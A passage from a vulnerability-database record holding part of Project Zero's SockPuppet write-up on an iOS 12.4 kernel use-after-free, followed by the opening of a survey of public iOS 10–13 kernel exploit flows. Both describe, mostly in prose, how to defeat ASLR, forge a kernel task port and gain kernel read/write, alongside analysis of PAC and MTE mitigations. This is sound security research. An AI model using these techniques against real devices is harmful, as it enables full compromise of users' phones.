looks:\n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgendYjwtKngXi7lho6rG3cXEnHVqkesInTnD78bdpU54MD5UM6RWF-D81j7KT4_QSsqLs_GOPqd6JMebn3zc2jmfyIHZ4Am0FfINmnM9FtZamw9xnEiJ5zN8FD92HBPgEiFSV2zREoZhbkDDrdMOVJNJj8TwCbbWti6dTzis5_qGupLhwZbvUmKaYv/s1074/2-2.png>)\n\nThe green nodes above represent all the data structures that are part of our current task which is running the exploit. The blue node is a fake IPC port that we\u2019ll set up to point to the kernel task and the kernel task\u2019s IPC table. Remember the ie_bits field specifies the permissions we have to interact with the ie_object, so we\u2019ll want to make sure we have a send right to it specified there.\n\n## Defeating ASLR and faking data structures\n\nIPC systems generally need a way to serialize file descriptors and send them over a pipe, and the kernel needs to understand this convention to do the proper accounting. Mach is no exception. Mach ports, like file descriptors, can be sent by one process to another with send rights attached. You can send an out of line port from one process to another using a special message that contains a mach_msg_ool_descriptor_t. If you\u2019d like to send multiple ports in a single message, you can send mach_msg_ool_ports_descriptor_t, an array of ports stored out of line (OOL), meaning outside of the message header itself. We, like many others, will be using the OOL ports descriptor in our exploit.\n\n** \n**\n\nWhat makes the OOL ports array so useful is that you completely control the size of the array. When you pass in an array of mach port names, the kernel will allocate space for an arbitrary number of pointers, each of which is filled with a pointer to the ipc_port structure that we want to send. In case you didn\u2019t notice, we can use this trick as an ASLR bypass as we can overlap an OOL descriptor array of port pointers with the freed buffer of size 192, and simply read the two adjacent int fields from the freed struct via getsockopt. At this point we can start to traverse the kernel data structures with our arbitrary read.\n\n** \n**\n\nMany exploits turn a corruption bug into a read primitive. We have the rare privilege of having a reliable read primitive before we do any corruption, so we use that combined with this pointer disclosure to leak all the relevant pointers to complete the exploit, including setting up crafted data at a known address. We go ahead and do all the necessary traversal now as you can see below.\n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiv7eSfgAfici4UTIIpB7JRQwTJeTFzLV0eZdcgZwXreLmIDKk1AyZ3K1_DGejF8nh8UrFMZG-WB1X4Jam5JJSNpOkQJdyWhXgvrXGSBUqHPYRGlyAr3BL3OUphLnlZkQMhINtMKzW1-FZ524XwQqJo0HSHdpEfouUXVc--_2SM67wnNCejs2sxCk6R/s714/3-3.png>)\n\nThe green nodes above represent the seed values for our exploration, and the orange nodes represent the values we\u2019re trying to find. By spraying a message with an OOL port descriptor array containing pointers to ipc_port structs representing our host port, we find its ipc_port which will give us ipc_space_kernel via the receiver field.\n\n** \n**\n\nWe repeat the same initial trick to find the ipc_port for our own task. From there we find our task\u2019s file descriptor table and use this to find a vtable for socket options and a pipe buffer. The vtable will give us pointers into the kernelcache binary. Because the kernel process\u2019s BSD representation kernproc is allocated globally in bsd/kern/bsd_init.c, we can use a known offset from the socketops table to find it and lookup the address of kernel_task.\n\n** \n**\n\nThe pipe buffer is created by a call to the pipe() syscall, and it allocates a buffer that we can write to and read from via a file descriptor. This is a well known trick for getting known data at a known address. In order to make the fake ipc_port that we\u2019ll inject into our IPC space, we create a pipe and send data to it. The pipe stores queued data into a buffer on the kernel heap, allocated via the generic size-based zones. We can read and write to that buffer repeatedly from userspace by reading and writing to the relevant pipe file descriptors, and that data is stored in kernel memory. By knowing the address of the buffer for our pipe, we can store controlled data there and create pointers to it. We\u2019ll need that to make a crafted ipc_port for the kernel task.\n\n** \n**\n\nSo we can now create our fake ipc_port and point it to the kernel_task and the ipc_space_kernel, right? I should point out now that even if we could call task_for_pid(0) and obtain a kernel_task port, we wouldn\u2019t be able to send messages to it. Any userland task that tries to send a message to the kernel_task will be blocked from doing so when the kernel turns an ipc_port for a task into the task struct. This is implemented in task_conversion_eval:\n\n** \n**\n\nkern_return_t\n\ntask_conversion_eval(task_t caller, task_t victim)\n\n{\n\n/*\n\n* Tasks are allowed to resolve their own task ports, and the kernel is\n\n* allowed to resolve anyone's task port.\n\n*/\n\nif (caller == kernel_task) {\n\nreturn KERN_SUCCESS;\n\n}\n\n \n\n\nif (caller == victim) {\n\nreturn KERN_SUCCESS;\n\n}\n\n \n\n\n/*\n\n* Only the kernel can can resolve the kernel's task port. We've established\n\n* by this point that the caller is not kernel_task.\n\n*/\n\nif (victim == TASK_NULL || victim == kernel_task) {\n\nreturn KERN_INVALID_SECURITY;\n\n}\n\n// ... \n \n--- \n \n** \n**\n\nI use the trick that many others have used, and simply created a copy of the kernel_task object so the pointer comparison they use won\u2019t detect that I\u2019m sending a message to the fake kernel_task object. It doesn\u2019t matter that it\u2019s not the real kernel_task because it\u2019s simple to support the mach_vm_* functions with a fake kernel_task; we simply need to copy the kernel\u2019s kernel_map and initialize a few other fields. You can see in the diagram above that we can simply pull that from the kernel_task, whose address we already know. We\u2019ll store the fake kernel task adjacent to our fake ipc_port in the pipe buffer. For an example of this approach being used in the wild, see [this exploit writeup](<https://googleprojectzero.blogspot.com/2019/08/in-wild-ios-exploit-chain-2.html>) from Ian Beer on the team.\n\n## Injecting our kernel_task port\n\nWe\u2019re now going to use the OOL port descriptor array for another purpose. We send a message to ourselves containing an OOL array containing copies of our task port name, which we have the send right to. The send right validation happens initially when the message is sent, so if we edit the array while it\u2019s waiting to be delivered, we can overwrite one of the ipc_ports to point to our fake kernel_task ipc_port. This trick is adapted from Stefan Esser\u2019s excellent [presentation](<https://www.slideshare.net/i0n1c/cansecwest-2017-portal-to-the-ios-core>) on the subject, and has been used in several exploits. Note that an ipc_port has no notion itself of a send or receive right; those rights are tracked as part of the ipc_entry and are handled outside of the ipc_port. This makes sense, because a port encapsulates a given message queue. The rights to send or receive to that queue are specific to each process, so we can see why that information is stored in each process\u2019s table independently.\n\n** \n**\n\nEven though this trick of overwriting a pointer in an OOL port descriptor array is a known exploit technique, it\u2019s up to the exploit developer to figure out how to actually make this corruption happen. We have an arbitrary read and arbitrary free. OOL port descriptor arrays and pipe buffers are allocated out of the global zone. We can combine these facts! Earlier we noted down the address of our pipe buffer. So we just free the pipe buffer\u2019s actual buffer address and spray OOL port descriptor arrays. We then read the pipe buffer looking for our task\u2019s ipc_port, overwriting it with the pointer to our fake port. Then we deliver the message to ourselves and check whether we managed to inject the fake kernel task port.\n\n** \n**\n\nAt this point, we have tfp0. Like voucher_swap and other exploits, we want to use this temporary tfp0 using pipe buffer structures to bootstrap a more stable tfp0. We do this by using the kernel task port to allocate a page of kernel memory dedicated to storing our data, and then using the write primitive to write our fake task port and kernel_task there. We then change our IPC space entry to point to this new ipc_port.\n\n** \n**\n\nWe still have a pipe structure with a dangling pointer to a freed buffer. We don\u2019t want it to double-free when we close the fd, so we use our new stable tfp0 powers to null out that pointer. We essentially did two actions to corrupt memory: free that pointer, and use the new use-after-free pipe buffer to overwrite a single ipc_port pointer, so keeping track of cleanup is fairly straightforward.\n\n** \n**\n\nIf you want to read and test the exploit yourself, you can grab it [here](<https://bugs.chromium.org/p/project-zero/issues/detail?id=1806#c13>).\n\n## Evaluating PAC and MTE\n\nBecause this exploit is based on a memory corruption bug, there\u2019s a lingering question of how it is affected by different mitigations. With the A12 chip, Apple brought PAC (Pointer Authentication) to iOS, which appears to be designed to limit kernel code execution assuming arbitrary kernel read/write among other goals. This sounds like a pretty strong mitigation, and without any real experience I wasn\u2019t sure how exploitation would fare. I was testing on an A9 chip, so I just hoped I wouldn\u2019t do anything in my exploit that would turn out to be mitigated by PAC. This was the case. Because my exploit only targeted data structures and did not involve arbitrary code execution, there were no code pointers to forge.\n\n** \n**\n\niOS 13 is beginning to introduce protections for some data pointers, so it is worthwhile to examine which pointers I would need to forge for this exploit to have worked in the context of data PAC. PAC protects return addresses on the stack from corruption by signing them with a private key and the location of the pointer itself on the stack as a context value. However, other code pointers are signed without a context value. Similarly, the effectiveness of data PAC will likely depend on how Apple chooses to use context values.\n\n** \n**\n\nLet\u2019s consider the situation where all data pointers are protected but not signed with a context based on location. In this scenario we can copy them from one location to another so long as we manage to leak them. This is better known as a \u201cpointer substitution attack,\u201d and has been described by Brandon in his [blog post about PAC](<https://googleprojectzero.blogspot.com/2019/02/examining-pointer-authentication-on.html>).\n\n** \n**\n\nOur read primitive remains effective in the context of data PAC since our dangling pointer is still signed. There are several attacker-sourced pointers we ultimately need to either forge or substitute: ipc_space_kernel, kernel_map, &fake_port, and &fake_task, along with all the intermediate reads needed to find them. Recall that the &fake_port and &fake_task are pointers to pipe buffers. For our initial entrypoint, It doesn\u2019t matter if the pktinfo pointer is protected, because we have to leak a real ipc_port pointer anyways via the OOL ports spray. This means we can collect a signed ipc_port, and do all of the up front data structure traversals we do already, copying the PAC data pointers without a problem. ipc_space_kernel and kernel_map are already signed, and if pipe buffers are signed we can simply split the fake port and task across two pipe buffers and obtain a signed pointer to each buffer. In any case, the exploit would not work completely out of the box, because we do forge a pointer into the file descriptor table to lookup arbitrary fd structures and some lookups may require reading more than 20 bytes of data. However, I\u2019m confident that the read primitive is powerful enough to work around these gaps without significant effort.\n\n** \n**\n\nIn practice iOS 13 only protects some data pointers, which paradoxically might improve end user security. For example, if pipe buffers are unprotected, simply leaking the address of one is unlikely to let us use that pointer to represent a fake ipc_port if pointers to ports are signed. An examination of the kernel cache for 17B5068e revealed that IPC port pointers are indeed not protected, but I do think they plan to do so (or already do so in non-beta builds) according to Apple\u2019s BlackHat talk earlier this year. Like any mitigation combined with a bug providing strong initial primitives, it\u2019s just a matter of designing alternative exploit techniques. Without considering the whack-a-mole of which pointers should be protected or unprotected, I\u2019m hoping that in the future, as many pointers as possible are signed with the location as a context to help mitigate the effect of pointer substitution attacks. As we can see from our thought experiment, there isn\u2019t much to be gained with a good use-after-free based read primitive if data pointers are simply signed with a context of 0.\n\n** \n**\n\nThe other mitigation to consider is the Memory Tagging Extension (MTE) for ARM, an upcoming CPU feature that I believe that Apple will try to implement. There\u2019s a nice high level summary for this mitigation [here](<https://security.googleblog.com/2019/08/adopting-arm-memory-tagging-extension.html>) and [here](<https://community.arm.com/developer/ip-products/processors/b/processors-ip-blog/posts/enhancing-memory-safety>). In essence, memory allocations will be assigned a random tag by the memory allocator that will be part of the upper unused bits of the pointer, like in PAC. The correct tag value will be stored out of line, similar to how ASAN stores heap metadata out of line. When the processor goes to dereference the pointer, it will check if the tag matches. This vulnerability would have been mitigated by MTE, because we trigger the use after free many times in the exploit, and every time the freed pointer would be accessed, its tag would be compared against the new tag for the freed range or that of whichever allocation reclaimed the buffer. Depending on what the CPU or kernel is configured to do when a mismatching tag is identified will affect how an exploit will proceed. I would expect that Apple [configure either a synchronous or asynchronous exception](<https://developer.arm.com/docs/ddi0595/b/aarch64-system-registers/sctlr_el3#TCF>) to occur during tag check failure, considering they make an effort to trigger data aborts for PAC violations according to [their LLVM documentation for PAC](<https://github.com/apple/llvm-project/blob/a63a81bd9911f87a0b5dcd5bdd7ccdda7124af87/clang/docs/PointerAuthentication.rst#basic-concepts>): \u201cWhile ARMv8.3's aut* instructions do not themselves trap on failure, the compiler only ever emits them in sequences that will trap.\u201d\n\n** \n**\n\nUsing corrupted code pointers forged by an attacker is a rare occurrence, but invalid heap accesses happen very often in real code. I suspect many bugs will be identified using MTE, and look forward to seeing its use in the iPhone. If it is combined with the current PAC implementation, it will be a huge boost to security for end users.\n\n## The iOS Exploit Meta\n\nI found it interesting to see which techniques I used are part of the iOS exploit \u201cmeta,\u201d that is, the tricks that are used often in public exploits and those seen in the wild. These were all the techniques I came across and how and if I incorporated them into the exploit. As mentioned earlier, for the closest publicly documented variant of the approach I used, see Stefan Esser\u2019s presentation [on the topic](<https://www.slideshare.net/i0n1c/cansecwest-2017-portal-to-the-ios-core>), which seems to be the first to use this basket of techniques.\n\n** \n**\n\nSummary\n\n| \n\nBenefit\n\n| \n\nUsed? \n \n---|---|--- \n \nIOSurface subsystem\n\n| \n\nSpray arbitrary data of controlled contents and size in kernel address space\n\n| \n\nYes \n \nOOL port descriptor array\n\n| \n\nSpray arbitrary multiple of 8 array containing pointers to ipc_ports with send right\n\n| \n\nYes \n \nPipe buffers\n\n| \n\nRepeatable read/write from userland of malloced buffer without needing sprays\n\n| \n\nYes \n \nLooking around the host port for other early ports\n\n| \n\nFind the kernel task port\n\n| \n\nYes, SockPuppetV1, replaced with my own variant later \n \nCopying kernel_task task port to a new address\n\n| \n\nBypass kernel_task task port check for messages coming from a user task\n\n| \n\nYes \n \nCreating a fake task port pointing to an arbitrary \u201ctask\u201d and reading its PID\n\n| \n\nRepeatable arbitrary read\n\n| \n\nNo, already had arbitrary read directly via first stage \n \nTriggering zone allocator garbage collection\n\n| \n\nReclaim an object from one zone with an object from another\n\n| \n\nNo, all relevant objects were already in the generic size-based zones \n \n## A bug\u2019s life\n\nWhen testing my exploit on older phones, I noticed that my 32-bit iPhone 5 was still running iOS 9.2. Out of curiosity I tested the highly exploitable disconnectx PoC that permits corrupting memory via the freed buffer and was shocked to see that the PoC worked right away. The kernel panicked when accessing freed memory (0xDEADBEEF was present in one of the registers when the crash occurred). After some more testing, I found that the PoC worked on the first XNU version where disconnectx was introduced: the Mavericks kernel included with the release of macOS 10.9.0. The iOS 7 beta 1 kernel came soon after Mavericks, so it\u2019s likely that iOS 7 beta 1 until iOS 12.2/12.4 was affected by this bug. September 18, 2013 was the official release date of iOS 7, so it appears that macOS and iOS users were broadly affected by this vulnerability for over 5 years.\n\n# Conclusion\n\nIt is somewhat surprising that a bug with such a strong initial primitive was present in iOS for as long as it was. I had been following public iOS security research since the iPhone\u2019s inception and it wasn\u2019t until recently that I realized I might be capable of finding a bug in the kernel myself. When I read exploit writeups during the iOS 7 era, I saw that there were large chains of logic bugs combined with memory corruption. But I knew from my work on Chrome that fuzzing tools have become so effective recently that memory corruption bugs in attack surfaces that were thought to be well audited could be discovered again. We can see that this is true for iOS (as much as it is for other platforms like Chrome that were thought to be very difficult to break), that single bugs that are sufficient for privilege escalation existed even during the time when large chains were used. Attacker-side memory corruption research is too easy now: we need MTE or other dynamic checks to start making a dent in this problem.\n\n** \n**\n\nI\u2019d like to give credit to @_bazad for his patience with my questions about Mach. SockPuppet was heavily inspired by his voucher_swap exploit, which was in turn inspired by many exploit techniques that came before it. It is really a testament to the strength of some exploitation tricks that they appear in so many exploits. With PAC protection for key data pointers, we may see the meta shift again as the dominant approach of injecting fake task ports is on Apple\u2019s radar, and mitigations against it are arriving.\n\n \n\n\nFinally, if Apple made XNU sources available more often, ideally per-commit, I could have automated merging my fuzzer against the sources and we could have caught the iOS 12.4 regression immediately. Chromium and OSS-Fuzz already have success with this model. A fuzzer I submitted to Chrome\u2019s [fuzzer program](<https://www.google.com/about/appsecurity/chrome-rewards/#fuzzerprogram>) that only found 3 bugs initially, has now found [95 stability and security regressions](<https://bugs.chromium.org/p/chromium/issues/list?q=net_quic_stream_factory_fuzzer%20-status%3AWontFix%20-status%3ADuplicate%20&can=1>) since submission. By opening the sources more frequently to the public, we have the opportunity to catch, by an order of magnitude, more critical bugs before they even make it to beta.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2019-12-10T00:00:00", "type": "googleprojectzero", "title": "\nSockPuppet: A Walkthrough of a Kernel Exploit for iOS 12.4\n", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-4407", "CVE-2019-8605"], "modified": "2019-12-10T00:00:00", "id": "GOOGLEPROJECTZERO:484F15FB833183203B1090176F5B292A", "href": "https://googleprojectzero.blogspot.com/2019/12/sockpuppet-walkthrough-of-kernel.html", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-06-07T02:00:35", "description": "Posted by Brandon Azad, Project Zero\n\n** \n**\n\nI recently found myself wishing for a single online reference providing a brief summary of the high-level exploit flow of every public iOS kernel exploit in recent years; since no such document existed, I decided to create it here.\n\n** \n**\n\nThis post summarizes original iOS kernel exploits from local app context targeting iOS 10 through iOS 13, focusing on the high-level exploit flow from the initial primitive granted by the vulnerability to kernel read/write. At the end of this post, we will briefly look at iOS kernel exploit mitigations (in both hardware and software) and how they map onto the techniques used in the exploits.\n\n** \n**\n\nThis isn't your typical P0 blog post: There is no gripping zero-day exploitation, or novel exploitation research, or thrilling malware reverse engineering. The content has been written as a reference since I needed the information and figured that others might find it useful too. You have been forewarned.\n\n# A note on terminology\n\nUnfortunately, there is no authoritative dictionary called \"Technical Hacking Terms for Security Researchers\", which makes it difficult to precisely describe some of the high-level concepts I want to convey. To that end, I have decided to ascribe the following terms specific meanings for the context of this post. If any of these definitions are at odds with your understanding of these terms, feel free to suggest improved terminology and I can update this post. :)\n\n** \n**\n\nExploit primitive: A capability granted during an exploit that is reasonably generic.\n\n** \n**\n\nA few examples of common exploit primitives include: n-byte linear heap overflow, integer increment at a controlled address, write-what-where, arbitrary memory read/write, PC control, arbitrary function calling, etc.\n\n** \n**\n\nA common exploit primitive specific to iOS kernel exploitation is having a send right to a fake Mach port (struct ipc_port) whose fields can be directly read and written from userspace.\n\n** \n**\n\nExploit strategy: The low-level, vulnerability-specific method used to turn the vulnerability into a useful exploit primitive.\n\n** \n**\n\nFor example, this is the exploit strategy used in Ian Beer's async_wake exploit for iOS 11.1.2:\n\n** \n**\n\nAn information leak is used to discover the address of arbitrary Mach ports. A page of ports is allocated and a specific port from that page is selected based on its address. The IOSurfaceRootUserClient bug is triggered to deallocate the Mach port, yielding a receive right to a dangling Mach port at a known (and partially controlled) address.\n\n** \n**\n\nThe last part is the generic/vulnerability-independent primitive that I interpret to be the end of the vulnerability-specific exploit strategy.\n\n** \n**\n\nTypically, the aim of the exploit strategy is to produce an exploit primitive which is highly reliable.\n\n** \n**\n\nExploit technique: A reusable and reasonably generic strategy for turning one exploit primitive into another (usually more useful) exploit primitive.\n\n** \n**\n\nOne example of an exploit technique is Return-Oriented Programming (ROP), which turns arbitrary PC control into (nearly) arbitrary code execution by reusing executable code gadgets.\n\n** \n**\n\nAn exploit technique specific to iOS kernel exploitation is using a fake Mach port to read 4 bytes of kernel memory by calling pid_for_task() (turning a send right to a fake Mach port into an arbitrary kernel memory read primitive).\n\n** \n**\n\nExploit flow: The high-level, vulnerability-agnostic chain of exploit techniques used to turn the exploit primitive granted by the vulnerability into the final end goal (in this post, kernel read/write from local app context).\n\n# Public iOS kernel exploits from app context since iOS 10\n\nThis section will give a brief overview of iOS kernel exploits from local context targeting iOS 10 through iOS 13. I'll describe the high-level exploit flow and list the exploit primitives and techniques used to achieve it. While I have tried to track down every original (i.e., developed before exploit code was published) public exploit available either as source code or as a sufficiently complete writeup/presentation, I expect that I may have missed a few. Feel free to reach out and suggest any that I have missed and I can update this post.\n\n** \n**\n\nFor each exploit, I have outlined the vulnerability, the exploit strategy (specific to the vulnerability), and the subsequent exploit flow (generic). The boundary between which parts of the exploit are specific to the vulnerability and which parts are generic enough to be considered part of the overall flow is subjective. In each case I've highlighted the particular exploitation primitive granted by the vulnerability that I consider sufficiently generic.\n\n## mach_portal - iOS 10.1.1\n\nBy Ian Beer of Google Project Zero ([@i41nbeer](<https://twitter.com/i41nbeer>)). \n\n** \n**\n\nThe vulnerability: CVE-2016-7644 is a race condition in XNU's set_dp_control_port() which leads to a Mach port being over-released.\n\n** \n**\n\nExploit strategy: Many Mach ports are allocated and references to them are dropped by racing set_dp_control_port() (it is possible to determine when the race has been won deterministically). The ports are freed by dropping a stashed reference, leaving the process holding receive rights to dangling Mach ports filling a page of memory.\n\n** \n**\n\nSubsequent exploit flow: A zone garbage collection is forced by calling mach_zone_force_gc() and the page of dangling ports is reallocated with an out-of-line (OOL) ports array containing pointers to the host port. mach_port_get_context() is called on one of the dangling ports to disclose the address of the host port. Using this value, it is possible to guess the page on which the kernel task port lives. The context value of each of the dangling ports is set to the address of each potential ipc_port on the page containing the kernel task port, and the OOL ports are received back in userspace to give a send right to the kernel task port.\n\n** \n**\n\nReferences: [mach_portal exploit code](<https://bugs.chromium.org/p/project-zero/issues/detail?id=965#c2>).\n\n## In-the-wild iOS Exploit Chain 1 - iOS 10.1.1\n\nDiscovered in-the-wild by Cl\u00e9ment Lecigne ([@_clem1](<https://twitter.com/_clem1>)) of Google's Threat Analysis Group. Analyzed by Ian Beer and Samuel Gro\u00df ([@5aelo](<https://twitter.com/5aelo>)) of Google Project Zero.\n\n** \n**\n\nThe vulnerability: The vulnerability is a linear heap out-of-bounds write of IOAccelResource pointers in the IOKit function AGXAllocationList2::initWithSharedResourceList().\n\n** \n**\n\nExploit strategy: The buffer to be overflowed is placed directly before a recv_msg_elem struct, such that the out-of-bounds write will overwrite the uio pointer with an IOAccelResource pointer. The IOAccelResource pointer is freed and reallocated with a fake uio struct living at the start of an OSData data buffer managed by IOSurface properties. The uio is freed, leaving a dangling OSData data buffer accessible via IOSurface properties.\n\n** \n**\n\nSubsequent exploit flow: The dangling OSData data buffer slot is reallocated with an IOSurfaceRootUserClient instance, and the data contents are read via IOSurface properties to give the KASLR slide, the address of the current task, and the address of the dangling data buffer/IOSurfaceRootUserClient. Then, the data buffer is freed and reallocated with a modified version of the IOSurfaceRootUserClient, such that calling an external method on the modified user client will return the address of the kernel task read from the kernel's __DATA segment. The data buffer is freed and reallocated again such that calling an external method will execute the OSSerializer::serialize() gadget, leading to an arbitrary read-then-write that stores the address of the kernel task port in the current task's list of special ports. Reading the special port from userspace gives a send right to the kernel task port.\n\n** \n**\n\nReferences: [In-the-wild iOS Exploit Chain 1 - AGXAllocationList2::initWithSharedResourceList heap overflow](<https://googleprojectzero.blogspot.com/2019/08/in-wild-ios-exploit-chain-1.html>).\n\n## extra_recipe - iOS 10.2\n\nBy Ian Beer.\n\n** \n**\n\nThe vulnerability: CVE-2017-2370 is a linear heap buffer overflow reachable from unprivileged contexts in XNU's mach_voucher_extract_attr_recipe_trap() due to an attacker-controlled userspace pointer used as the length in a call to copyin().\n\n** \n**\n\nExploit strategy: The vulnerable Mach trap is called to create a kalloc allocation and immediately overflow out of it with controlled data, corrupting the ikm_size field of a subsequent ipc_kmsg object. This causes the ipc_kmsg, which is the preallocated message for a Mach port, to believe that it has a larger capacity than it does, overlapping it with the first 240 bytes of the subsequent allocation. By registering the Mach port as the exception port for a userspace thread and then crashing the thread with controlled register state, it is possible to repeatedly and reliably overwrite the overlapping part of the subsequent allocation, and by receiving the exception message it is possible to read those bytes. This gives a controlled 240-byte out-of-bounds read/write primitive off the end of the corrupted ipc_kmsg.\n\n** \n**\n\nSubsequent exploit flow: A second ipc_kmsg is placed after the corrupted one and read in order to determine the address of the allocations. Next an AGXCommandQueue user client is reallocated in the same slot and the virtual method table is read to determine the KASLR slide. Then the virtual method table is overwritten such that a virtual method call on the AGXCommandQueue invokes the OSSerializer::serialize() gadget, producing a 2-argument arbitrary kernel function call primitive. Calling the function uuid_copy() gives an arbitrary kernel read/write primitive.\n\n** \n**\n\nReferences: [Exception oriented exploitation on iOS](<https://googleprojectzero.blogspot.com/2017/04/exception-oriented-exploitation-on-ios.html>), [extra_recipe exploit code](<https://bugs.chromium.org/p/project-zero/issues/detail?id=1004#c4>).\n\n## Yalu102 - iOS 10.2\n\nBy Luca Todesco ([@qwertyoruiopz](<https://twitter.com/qwertyoruiopz>)) and Marco Grassi ([@marcograss](<https://twitter.com/marcograss>)).\n\n** \n**\n\nThe vulnerability: CVE-2017-2370 (same as above).\n\n** \n**\n\nExploit strategy: The vulnerable Mach trap is called to create a kalloc allocation and immediately overflow out of it with controlled data, overwriting the contents of an OOL port array and inserting a pointer to a fake Mach port in userspace. Receiving the message containing the OOL ports yields a send right to the fake Mach port whose contents can be controlled directly.\n\n** \n**\n\nSubsequent exploit flow: The fake Mach port is converted into a clock port and clock_sleep_trap() is used to brute force a kernel image pointer. Then the port is converted into a fake task port to read memory via pid_for_task(). Kernel memory is scanned backwards from the leaked kernel image pointer until the kernel text base is located, breaking KASLR. Finally, a fake kernel task port is constructed.\n\n** \n**\n\nNotes: The exploit does not work with PAN enabled.\n\n** \n**\n\nReferences: [Yalu102 exploit code](<https://github.com/kpwn/yalu102>).\n\n## ziVA - iOS 10.3.1\n\nBy Adam Donenfeld ([@doadam](<https://twitter.com/doadam>)) of Zimperium.\n\n** \n**\n\nThe vulnerability: Multiple vulnerabilities in AppleAVE2 due to external methods sharing IOSurface pointers with userspace and trusting IOSurface pointers read from userspace.\n\n** \n**\n\nExploit strategy: An IOSurface object is created and an AppleAVE2 external method is called to leak its address. The vtable of an IOFence pointer in the IOSurface is leaked using another external method call, breaking KASLR. The IOSurface object is freed and reallocated with controlled data using an IOSurface property spray. Supplying the leaked pointer to an AppleAVE2 external method that trusts IOSurface pointers supplied from userspace allows hijacking a virtual method call on the fake IOSurface; this is treated as a oneshot hijacked virtual method call with a controlled target object at a known address.\n\n** \n**\n\nSubsequent exploit flow: The hijacked virtual method call is used with the OSSerializer::serialize() gadget to call copyin() and overwrite 2 sysctl_oid structs. The sysctls are overwritten such that reading the first sysctl calls copyin() to update the function pointer and arguments for the second sysctl and reading the second sysctl uses the OSSerializer::serialize() gadget to call the kernel function with 3 arguments. This 3-argument arbitrary kernel function call primitive is used to read and write arbitrary memory by calling copyin()/copyout().\n\n** \n**\n\nNotes: iOS 10.3 introduced the initial form of task_conversion_eval(), a weak mitigation that blocks userspace from accessing a right to the real kernel task port. Any exploit after iOS 10.3 needs to build a fake kernel task port instead.\n\n** \n**\n\nReferences: [Ro(o)tten Apples](<https://www.blackhat.com/docs/eu-17/materials/eu-17-Donenfeld-Rooten-Apples-Vulnerability-Heaven-In-The-IOS-Sandbox.pdf>), [ziVA exploit code](<https://github.com/doadam/ziVA>).\n\n## async_wake - iOS 11.1.2\n\nBy Ian Beer.\n\n** \n**\n\nThe vulnerability: CVE-2017-13861 is a vulnerability in IOSurfaceRootUserClient::s_set_surface_notify() that causes an extra reference to be dropped on a Mach port. CVE-2017-13865 is a vulnerability in XNU's proc_list_uptrs() that leaks kernel pointers by failing to fully initialize heap memory before copying out the contents to userspace.\n\n** \n**\n\nExploit strategy: The information leak is used to discover the address of arbitrary Mach ports. A page of ports is allocated and a specific port from that page is selected based on its address. The port is deallocated using the IOSurfaceRootUserClient bug, yielding a receive right to a dangling Mach port at a known (and partially controlled) address.\n\n** \n**\n\nSubsequent exploit flow: The other ports on that page are freed and a zone garbage collection is forced so that the page is reallocated with the contents of an ipc_kmsg, giving a fake Mach port with controlled contents at a known address. The reallocation converted the port into a fake task port through which arbitrary kernel memory can be read using pid_for_task(). (The address to read is updated without reallocating the fake port by using mach_port_set_context().) Relevant kernel objects are located using the kernel read primitive and the fake port is reallocated again with a fake kernel task port.\n\n** \n**\n\nNotes: iOS 11 removed the mach_zone_force_gc() function which allowed userspace to prompt the kernel to perform a zone garbage collection, reclaiming all-free virtual pages in the zone map for use by other zones. Exploits for iOS 11 and later needed to develop a technique to force a zone garbage collection. At least three independent techniques have been developed to do so, demonstrated in async_wake, v0rtex, and In-the-wild iOS exploit chain 3.\n\n** \n**\n\nReferences: [async_wake exploit code](<https://bugs.chromium.org/p/project-zero/issues/detail?id=1417#c17>).\n\n## In-the-wild iOS Exploit Chain 2 - iOS 10.3.3\n\nDiscovered in-the-wild by Cl\u00e9ment Lecigne. Analyzed by Ian Beer and Samuel Gro\u00df.\n\n** \n**\n\nThe vulnerability: CVE-2017-13861 (same as above).\n\n** \n**\n\nExploit strategy: Two Mach ports, port A and port B, are allocated as part of a spray. The vulnerability is triggered to drop a reference on port A, and the ports surrounding A are freed, leading to a dangling port pointer. Zone garbage collection is forced by calling mach_zone_force_gc() and the page containing port A is reallocated with an OOL ports spray containing a pattern such that port A's ip_context field overlaps a pointer to port B. Calling mach_port_get_context() gives the address of port B. The vulnerability is triggered again with port B, leading to a receive right to a dangling Mach port at a known address.\n\n** \n**\n\nSubsequent exploit flow: After another zone garbage collection, the dangling port B is reallocated with a segmented OOL memory spray such that calling mach_port_get_context() can identify which 4 MB segment of the spray reallocated port B. That segment is freed and port B is reallocated with pipe buffers, giving a controlled fake Mach port at a known address. The fake port is converted into a clock port and clock_sleep_trap() is used to brute force KASLR. The fake port is next converted into a fake task port and a 4-byte kernel read primitive is established using pid_for_task(). Finally, the fake port is converted into a fake kernel task port.\n\n** \n**\n\nReferences: [In-the-wild iOS Exploit Chain 2 - IOSurface](<https://googleprojectzero.blogspot.com/2019/08/in-wild-ios-exploit-chain-2.html>).\n\n## v0rtex - iOS 10.3.3\n\nBy Siguza ([@S1guza](<https://twitter.com/s1guza>)).\n\n** \n**\n\nThe vulnerability: CVE-2017-13861 (same as above).\n\n** \n**\n\nExploit strategy: Mach ports are sprayed and a reference on one port is dropped using the vulnerability. The other ports on the page are freed, leaving a receive right to a dangling Mach port.\n\n** \n**\n\nSubsequent exploit flow: A zone garbage collection is forced using mach_zone_force_gc() and the page containing the dangling port is reallocated with an OSString buffer via an IOSurface property spray. The OSString buffer contains a pattern that initializes critical fields of the port and allows the index of the OSString containing the port to be determined by 